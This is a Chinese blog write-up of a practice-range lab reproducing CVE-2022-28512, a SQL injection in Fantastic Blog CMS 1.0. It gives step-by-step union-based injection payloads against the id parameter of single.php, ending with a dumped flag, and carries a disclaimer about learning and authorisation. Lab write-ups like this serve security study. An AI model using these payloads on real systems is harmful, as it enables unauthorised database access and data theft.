• 春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)



    前言

    此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


    一、CVE-2022-28512靶场简述

    Sourcecodester Fantastic Blog CMS 1.0 中存在一个 SQL 注入漏洞。攻击者可以通过“id=5”参数在“/fantasticblog/single.php”中注入查询。
    在这里插入图片描述

    二、找注入点

    Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
    我们就尝试找single.php的界面。
    打开发现是有一个登录框,和一个登录注册。但是登录框是search.php,而且尝试sql注入也是无果。(如图所示)
    在这里插入图片描述在这里插入图片描述
    点开图片发现跳转到single.php界面,成功找到注入地方(如图所示)
    在这里插入图片描述

    三、CVE-2022-28512漏洞复现

    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据

    1、判断注入点

    (如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试。发现页面依旧正常,排除数字型。直接提交3’发现报错,报错信息为

    You have an error in your SQL syntax; check the manual that
    corresponds to your MariaDB server version for the right syntax to use
    near ‘‘3’’’ at line 1

    在这里插入图片描述
    通过报错信息可以知道是单引号闭合,这里构造的payload为

    id=3'--+
    
    • 1

    2、爆显位个数

    注入语句为

    id=3' order by 9--+
    
    • 1

    发现为10的时候报错,那么显位个数是9了。
    在这里插入图片描述

    3、爆显位位置

    注入语句为

    id=-3' union select 1,2,3,4,5,6,7,8,9--+
    
    • 1

    发现有4可以注入,我就在4注入了
    在这里插入图片描述

    4 、爆数据库名

    注入语句为

    id=-3' union select 1,2,3,database(),5,6,7,8,9--+
    
    • 1

    在这里插入图片描述

    得到数据库ctf

    5、爆数据库表名

    注入语句为

    id=-3' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--+
    
    • 1

    在这里插入图片描述
    得到数据库表名
    titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info
    关键表名是flag

    6、爆数据库列名

    注入语句为

    id=-3' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag"--+
    
    • 1

    得到列名flag

    在这里插入图片描述

    7、爆数据库数据

    注入语句为

    id=-3' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+
    
    • 1

    在这里插入图片描述
    得到flag
    flag{6bf76a30-c821-429b-b2e7-03b6068cdf36}


    总结

    这一关的信息收集比较简单,一下子找到注入点了。这是一个简单的单引号闭合简单注入,极其简单。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

  • 相关阅读:
    Shiro入门基础知识&&案例实现&&与Web的集成
    基于C++和QT开发的校园超市库存物资管理系统
    腾讯mini项目-【指标监控服务重构】2023-08-21
    锐捷MPLS跨域方案C1实验配置
    Dockcer上传hub和配置国内镜像源
    编辑距离问题与动态规划
    制作一个简单HTML校园网页(HTML+CSS)学校网站制作 校园网站设计与实现
    如何理解my_map.yaml中origin的含义
    gitblit 搭建本地 git 仓库
    Python 框架学习 Django篇 (六) ORM关联
  • 原文地址:https://blog.csdn.net/zyh1588/article/details/134485668